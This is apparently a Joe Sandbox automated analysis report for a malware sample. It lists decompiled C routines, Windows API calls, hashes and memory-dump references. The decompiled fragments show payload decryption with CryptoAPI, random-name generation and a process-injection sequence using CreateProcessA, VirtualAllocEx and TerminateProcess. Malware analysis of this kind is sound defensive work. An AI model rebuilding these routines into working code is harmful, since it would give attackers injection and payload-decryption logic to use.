Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 040081F1

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$DecryptErrorFreeLastRelease
String ID:
API String ID: 142027497-0
Opcode ID: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction ID: 586cb0610e47de0410656fb7eac1ad2d30ffe64d38e300cd8a2e1f05076280ab
Opcode Fuzzy Hash: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction Fuzzy Hash: 3551E7B5E00209AFEB14DF98D984BEEB7B5BB48304F14C158E905BB381D774AA40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04005930 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04005930(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v24;
				void _v52;
				intOrPtr _v56;
				signed int _v60;
				void* _t70;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0 && _a12 <= 0x10) {
					E04007B70( &_v24, _a4, 0x10);
					memcpy( &_v52, "abcdefghijklmnopqrstuvwxyz", 6 << 2);
					asm("movsw");
					asm("movsb");
					_v56 = 0;
					while(_v56 < _a12) {
						_v60 = (( *(_t70 + _v56 - 0x14) & 0x000000ff) + _v56 + 1) * (_v56 + 2) % 0x1a;
						_a8[_v56] =  *((intOrPtr*)(_t70 + _v60 - 0x30));
						if(_v56 == 0) {
							CharUpperA(_a8); // executed
						}
						_v8 = _v8 + 1;
						_v56 = _v56 + 1;
					}
				}
				return _v8;
			}

0x04005938
0x04005943
0x04005971
0x04005986
0x04005988
0x0400598a
0x0400598b
0x0400599d
0x040059c6
0x040059d6
0x040059dc
0x040059e2
0x040059e2
0x040059ee
0x0400599a
0x0400599a
0x0400599d
0x040059fb

APIs

CharUpperA.USER32(00000000), ref: 040059E2

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 0400597E

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CharUpper
String ID: abcdefghijklmnopqrstuvwxyz
API String ID: 9403516-1277644989
Opcode ID: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction ID: f69ee34caa0c5af81cf691572c0dafb25cbc9a5132ff2a0986e08936ddab1125
Opcode Fuzzy Hash: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction Fuzzy Hash: F7210C35A06108EBEF04CF98D984BDDB7B6FF85315F248569E804A7280D375AA45CF41

Uniqueness

Uniqueness Score: -1.00%

Function 04009400 Relevance: 3.1, APIs: 2, Instructions: 106
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009400(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v91;
				char _v92;
				char _v220;
				intOrPtr _t59;
				void* _t103;
				void* _t104;
				void* _t106;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_t56 = E04007B70( &_v28, _a4 + 0x45b, 0x10);
					_t104 = _t103 + 0xc;
					_v12 = _v28 ^ _v24 ^ _v20 ^ _v16;
					_v32 = 0;
					while(_v32 < _a12) {
						E04007D20(_t56,  &_v220, 0, 0x80);
						_t59 = E04008BB0( &_v12, 4,  &_v220, 0x80); // executed
						_t106 = _t104 + 0x1c;
						_v40 = _t59;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v220;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v220, _v40, _v32 * 0x1e + _a8, _v36);
						E04007D20( &_v92,  &_v92, 0, 0x32);
						_t104 = _t106 + 0x1c;
						lstrcpyA( &_v92, _v32 * 0x1e + _a8);
						_v91 = 0;
						CharUpperA( &_v92);
						 *((char*)(_a8 + _v32 * 0x1e)) = _v92;
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_t56 = _v32 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

0x04009409
0x04009414
0x0400943d
0x04009442
0x04009451
0x04009454
0x04009466
0x04009480
0x0400949a
0x0400949f
0x040094a2
0x040094a9
0x040094bf
0x040094ab
0x040094b1
0x040094b1
0x040094d1
0x040094ed
0x040094fd
0x04009502
0x04009513
0x04009519
0x04009521
0x04009533
0x0400953c
0x04009545
0x04009460
0x04009463
0x04009463
0x04009466
0x04009553

APIs

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcpyA.KERNEL32(?,00000000), ref: 04009513
CharUpperA.USER32(?), ref: 04009521

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CharCreateDataDestroyErrorLastReleaseUpperlstrcpy
String ID:
API String ID: 2710640451-0
Opcode ID: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction ID: bc5be7810042b5ebbd7ddf8470aca826c8a0736d185973949ab2100ea4ccd4f3
Opcode Fuzzy Hash: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction Fuzzy Hash: 564119B1D00208EBEB44DFD4C881BEEBBB5EF58308F10C15AD515BB281E774AA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 025521EA Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 025521F9
SetLastError.KERNEL32(0000007E), ref: 0255223B
SetLastError.KERNEL32(0000000E), ref: 0255228B

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: ErrorLast$HugeRead
String ID:
API String ID: 100728148-0
Opcode ID: bd8b22f61ee621192030e890070bbee12e8c9c4a47a42b654e44d04f9ec2a7df
Instruction ID: 1f0e17a8b279d40910b8f061198aab44aa2342cb43dbeede1f679232e56953dd
Opcode Fuzzy Hash: bd8b22f61ee621192030e890070bbee12e8c9c4a47a42b654e44d04f9ec2a7df
Instruction Fuzzy Hash: 9B01F674A00208EFDB00CF94C955BAEBBB1BF48314F208699E909AB240D734EA50DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 040097A0 Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040097A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x040097b0
0x040097b7

APIs

GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction ID: 51615621b5a1f832d01dc3b7a4cc229a82638b6a1205cca077e68d01418531cd
Opcode Fuzzy Hash: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction Fuzzy Hash: 93C09B71144308ABE6449FD8E80DD95375DE748601F004111B70DD6141CB7CAD84C762

Uniqueness

Uniqueness Score: -1.00%

Function 02551D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0583f872650ef7095681e39d4d2b7df6dbc4bbd3c19741fa1a0b115bddb9ff9a
Instruction ID: 2883f3f8053f16a2516102f787a1f5ca77af1cb51931f949b3e914af6921807a
Opcode Fuzzy Hash: 0583f872650ef7095681e39d4d2b7df6dbc4bbd3c19741fa1a0b115bddb9ff9a
Instruction Fuzzy Hash: 2541C974A00519AFDB04CF44C4A4BAABBB2FF88314F24C55AEC1A5F355D775EA82CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0010D312 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0010D312(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
					_t10 = RtlAllocateHeap( *0x171004, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0x17166c;
					if( *0x17166c == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E00108912(_t10, _t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E00107A0D(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

0x0010d317
0x0010d31c
0x0010d339
0x0010d33e
0x0010d340
0x0010d342
0x0010d344
0x0010d344
0x0010d344
0x00000000
0x0010d34c
0x0010d355
0x0010d35b
0x0010d35d
0x00000000
0x00000000
0x0010d391
0x0010d393
0x00000000
0x0010d35f
0x0010d35f
0x0010d366
0x0010d384
0x0010d387
0x0010d389
0x0010d38b
0x0010d38b
0x0010d368
0x0010d369
0x0010d36f
0x0010d371
0x0010d345
0x0010d345
0x0010d347
0x0010d34a
0x00000000
0x00000000
0x00000000
0x00000000
0x0010d373
0x0010d373
0x0010d376
0x0010d378
0x0010d37a
0x0010d37a
0x0010d380
0x0010d380
0x0010d371
0x00000000
0x0010d31e
0x0010d322
0x0010d325
0x0010d328
0x00000000
0x0010d32a
0x0010d32f
0x0010d338
0x0010d338
0x0010d328
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001091AA,?,?,00000000,00000000,00000000,?,0010751F,00000001,00000214,?,?), ref: 0010D355

Part of subcall function 00107A0D: __getptd_noexit.LIBCMT ref: 00107A0D

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 2db4c3232968d91fb3ac6160eb4dd8ae4f8fa28a866d8a1b3e03fec2b39290e8
Instruction ID: 4701cc0615fa507f5c318e8ea5a892972e3f3cb2fa05fdf794260e31dd89a1c5
Opcode Fuzzy Hash: 2db4c3232968d91fb3ac6160eb4dd8ae4f8fa28a866d8a1b3e03fec2b39290e8
Instruction Fuzzy Hash: A601D4753013169BEB299FA5EC04B6A3354BF80360F048929F895CF1E0CBF4D840CA91

Uniqueness

Uniqueness Score: -1.00%

Function 02551840 Relevance: 1.5, APIs: 1, Instructions: 15libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 02551848

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8e2b837b180aa29e562cc2c298d5c9536c11e9e781ba631660b69be911e5965f
Instruction ID: dc4c2f9ddacd479831fbba26ff62489d643d253844178a8d4350fbc4ed0966b5
Opcode Fuzzy Hash: 8e2b837b180aa29e562cc2c298d5c9536c11e9e781ba631660b69be911e5965f
Instruction Fuzzy Hash: 5CD09E74D0521CFBCB20DEA4D95465DBBF8EB09251F104999ED0D97200D6359A509694

Uniqueness

Uniqueness Score: -1.00%

Function 001073BD Relevance: 1.5, APIs: 1, Instructions: 3COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,0010CC32,00171040,00000314,00000000,?,?,?,?,?,00108858,00171040,Microsoft Visual C++ Runtime Library,00012010), ref: 001073BF

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 2faf4aa64fd5a8b3be8c36ab50e92e0dffa370a9232e5afcc3d22983529499dc
Instruction ID: 5d737d5d86990bd002681323dfe6405674d49093cc4b9d0ad41799c08bd70c46
Opcode Fuzzy Hash: 2faf4aa64fd5a8b3be8c36ab50e92e0dffa370a9232e5afcc3d22983529499dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 025519F0 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,02551A51,00003000,00000004,000000BE,?,02551A51,?), ref: 02551A01

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4bf0dd4360b9e04fd5bd1029caf6245cbb01552cfcca4bb498ffaa200d93b119
Instruction ID: 9e7c8b3041dadf015c33f08f5f61bed27235372d8c4ad67ed31d2a35ac4d12c8
Opcode Fuzzy Hash: 4bf0dd4360b9e04fd5bd1029caf6245cbb01552cfcca4bb498ffaa200d93b119
Instruction Fuzzy Hash: C4D0C9B4A85308BBE710CE84DC16F69BBACDB04651F004185FE089B280D5B1AE1056A5

Uniqueness

Uniqueness Score: -1.00%

Function 02551820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0255182F

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a7b5f543efedf1ff8f3c30db3d230dadb56ca17341b4ba861da72e47aca3ca69
Instruction ID: 7d7af6128d9ed899e68af9cb8a59dafd5f0d7c309a42ef81ec6a6f737a2383fc
Opcode Fuzzy Hash: a7b5f543efedf1ff8f3c30db3d230dadb56ca17341b4ba861da72e47aca3ca69
Instruction Fuzzy Hash: 30C04C7655430CBBCB04DFD8E894DAB37ADBB8C650B048548BA1D87200C630F9109BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02523877 Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 300memorystringprocessCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0400C368,?,00000104), ref: 0252389B
lstrcat.KERNEL32(?,0400C374), ref: 025238AD
lstrcat.KERNEL32(?,0400C38C), ref: 025238C5
lstrcat.KERNEL32(?,00000000), ref: 025238D6
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 0252394E
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 02523987
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0252399C
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 025239C5
VirtualAllocEx.KERNEL32(?,00000000,?,00103000,00000040), ref: 025239EE
TerminateProcess.KERNEL32(?,00000000), ref: 02523A0C
CloseHandle.KERNEL32(?), ref: 02523A19
CloseHandle.KERNEL32(?), ref: 02523A26
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02523A37

Strings

D, xrefs: 02523902

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D
API String ID: 1819736980-2746444292
Opcode ID: 83596fe12a2dfdaf4c14bff8d9e8bcfb4be811be883a4a0e4667b25d06c46fb5
Instruction ID: 130291717095ac1ccae3f3d1985ef522cb7fed383ed3eca8c1b79e5d33b8fefb
Opcode Fuzzy Hash: 83596fe12a2dfdaf4c14bff8d9e8bcfb4be811be883a4a0e4667b25d06c46fb5
Instruction Fuzzy Hash: 39D10071A44219ABDB28DF54CC94FAA7779FB48704F0486E8F609A72C0D7789AC4CF58

Uniqueness

Uniqueness Score: -1.00%

Function 04008CF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 96
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E04008CF0(BYTE* _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				long* _v24;
				char* _t31;
				int _t32;
				intOrPtr _t34;
				long** _t35;
				char* _t52;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L15:
					return _v8;
				} else {
					_v12 = 0;
					_t31 =  *0x4013370; // 0x400c6e4
					_t32 = CryptAcquireContextA( &_v12, _t31, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0);
					if(_t32 == 0) {
						_t32 = GetLastError();
						_v16 = _t32;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t52 =  *0x4013370; // 0x400c6e4
							_t32 = CryptAcquireContextA( &_v12, _t52, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t32 != 0) {
							_t34 = _a16;
							__imp__CryptHashData(_v20, _a12, _t34, 0);
							if(_t34 != 0) {
								_v24 = 0;
								_t35 =  &_v24;
								__imp__CryptDeriveKey(_v12, 0x6801, _v20, 1, _t35);
								if(_t35 != 0) {
									_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
									CryptDestroyKey(_v24);
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L15;
				}
			}

0x04008cf6
0x04008d01
0x04008e1a
0x04008e20
0x04008d25
0x04008d25
0x04008d35
0x04008d3f
0x04008d47
0x04008d49
0x04008d4f
0x04008d59
0x04008d6d
0x04008d78
0x04008d78
0x04008d59
0x04008d82
0x04008d99
0x04008da1
0x04008da5
0x04008db1
0x04008db9
0x04008dbb
0x04008dc2
0x04008dd5
0x04008ddd
0x04008df7
0x04008dfe
0x04008dfe
0x04008ddd
0x04008e08
0x04008e08
0x04008e14
0x04008e14
0x00000000
0x04008d82

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008D3F
GetLastError.KERNEL32 ref: 04008D49
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008D78
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008D99
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008DB1
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 04008DD5
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008DF1
CryptDestroyKey.ADVAPI32(00000000), ref: 04008DFE
CryptDestroyHash.ADVAPI32(00000000), ref: 04008E08
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008E14

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D30
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D68

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$ContextHash$AcquireDestroy$CreateDataDecryptDeriveErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3718126946-947817771
Opcode ID: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction ID: a60922051ccac58686ce7bb6d252e90d8c3d4a9338f0118c5879c090c3d284f0
Opcode Fuzzy Hash: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction Fuzzy Hash: E5311B75A44209EBFB58DFA4C849BAE77B9FB44704F10C628F601B61C0D7B8A984CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02529FC7 Relevance: 15.1, APIs: 10, Instructions: 113encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C708,00000001,00000000), ref: 0252A002
GetLastError.KERNEL32 ref: 0252A00C
CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C738,00000001,00000008), ref: 0252A03B
CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 0252A076
CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 0252A096
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 0252A0D3
CryptExportKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 0252A0F1
CryptDestroyKey.ADVAPI32(00000000), ref: 0252A0FE
CryptDestroyKey.ADVAPI32(00000000), ref: 0252A111
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0252A11D

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireDestroyExport$ErrorImportLastRelease
String ID:
API String ID: 3052018297-0
Opcode ID: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction ID: feeaaea3997a0add3b25587dec975e710f87ff7dbbcd07a767ca0c12ed31a8dd
Opcode Fuzzy Hash: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction Fuzzy Hash: 4B411D75A00219EBEB14CF94C849FEF7BB8FB48705F148518FA11A61C0D7B9A988CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0252A4B7 Relevance: 15.1, APIs: 10, Instructions: 96encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C888,00000001,00000000), ref: 0252A506
GetLastError.KERNEL32 ref: 0252A510
CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C8B8,00000001,00000008), ref: 0252A53F
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0252A560
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0252A578
